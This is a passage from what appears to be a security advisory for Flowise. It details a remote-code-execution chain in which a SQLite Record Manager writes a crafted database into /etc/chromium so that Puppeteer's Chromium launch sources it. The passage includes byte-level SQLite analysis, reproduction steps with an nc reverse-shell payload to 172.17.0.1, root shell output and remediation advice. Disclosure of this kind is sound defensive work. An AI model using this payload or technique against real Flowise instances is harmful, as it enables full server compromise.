Details
await dataSource.destroy()
}
}
...
}
<1> Validates the `tableName` input matches the regex pattern `/^[a-zA-Z0-9_]+$/`.
<2> The SQL command creating the database table, which is not user controllable.
<3> The `this.namespace` is a user controllable input for the node.
Since the allowed characters of the `tableName` input were restricted, it was not possible to utilise the same technique from [GHSA-pwfj-wh95-7mwp](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-pwfj-wh95-7mwp) to comment out `()` characters within the SQLite database file that would cause a syntax error when executed as a shell script. To avoid this limitation, the binary structure of SQLite databases was investigated, where the following output shows the binary structure of the `doc_id_index` cell using the default `upsertion_records` table name.
Bytes Raw Decoded
──────────────────────────────────────────────────
[3574:3575] 62 payload length = 98
[3575:3576] 04 rowid = 4
── Record Header ──────────────────────────────
[3576:3577] 06 header length = 6
[3577:3578] 17 col 0 = 23 → TEXT 5 bytes ('index')
[3578:3579] 25 col 1 = 37 → TEXT 12 bytes ('doc_id_index')
[3579:3580] 2f col 2 = 47 → TEXT 17 bytes ('upsertion_records') <1>
[3580:3581] 01 col 3 = 1 → INT8 1 byte
[3581:3582] 7f col 4 = 127 → TEXT 57 bytes (CREATE INDEX sql)
── Record Body ────────────────────────────────
[3582:3587] 696e646578 col 0 = 'index'
[3587:3599] 646f635f69… col 1 = 'doc_id_index'
[3599:3616] 757073657274… col 2 = 'upsertion_records'
[3616:3617] 05 col 3 = 5 (root page = page 5)
[3617:3674] 43524541544… col 4 = 'CREATE INDEX doc_id_index ON "upsertion_records" (doc_id)'
<1> `\x2f` serial type corresponds to a `TEXT` value that is 17 bytes long.
The length of the table name can be manipulated, and a serial type of `'` corresponds to a string that is 13 bytes long. The injected `'` could then be used to wrap the problematic `()` characters within the cell, which is then closed by the `namespace` input that also contains a reverse shell payload that is executed when Puppeteer launches a Chromium browser reading the malicious SQLite database from a `/etc/chromium/*.conf` file.
The following steps document the procedure to reproduce this issue:
1. Import the following Chatflow and configure the OpenAI and Weaviate nodes. Observe that the `additionalConfig.database` input for the SQLite Record Manager node is set to `/etc/chromium/exploit.conf`, which is the destination the SQLite database will be created. The `tableName` input is set to `AAAAAAAAAAAAA`, so the encoded serial type of its length would be `'`, and the `namespace` is set to `'$(/usr/bin/nc 172.17.0.1 1337 -e /bin/sh)` to close the previous `'` and then use command substitution to execute a reverse shell payload. Perform an Upsert Vector Store operation and observe the SQLite database being created at `/etc/chromium/exploit.conf`.
[sqlite-record-rce-poc.json](https://github.com/user-attachments/files/27053431/sqlite-record-rce-poc.json)
2. Import the following Chatflow and perform an Upsert Vector Store operation. When Puppeteer is launched, it will execute `chromium-browser` that sources all `/etc/chromium/*.conf` files, triggering the reverse shell payload as shown in the following terminal output.
[sqlite-sqlchain-puppeteer-trigger.json](https://github.com/user-attachments/files/27053441/sqlite-sqlchain-puppeteer-trigger.json)
```terminal
$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 172.17.0.2 40677
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
ps aux
PID USER TIME COMMAND
1 root 0:13 node /usr/local/bin/flowise start
18 root 0:00 [sh]
30 root 0:00 {chromium-browse} /bin/sh /usr/bin/chromium-browser --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-features=Translate,BackForwardCache,AcceptCHFrame,MediaRouter,OptimizationHints --disable-hang-monitor --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-sync --enable-automation --enable-blink-features=IdleDetection --enable-features=NetworkServiceInProcess2 --export-tagged-pdf --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --headless=new --hide-scrollbars --mute-audio about:blank --no-sandbox --remote-debugging-port=0 --user-data-dir=/tmp/puppeteer_dev_chrome_profile-AnFBBC
31 root 0:00 /bin/sh
33 root 0:00 ps aux
III. Impact
An authenticated user on a Flowise instance using the published Docker image could exploit this vulnerability to achieve RCE, resulting in full compromise of the application.
IV. Solution
Consider performing the following remediation activities:
- Ensure that the
additionalConfiginput could not be abused to overwrite thedatabaseproperty to an arbitrary file path.
- Use a low-privileged user for container runtimes instead of the privileged
rootuser, since therootuser has file access to the entire filesystem of the container.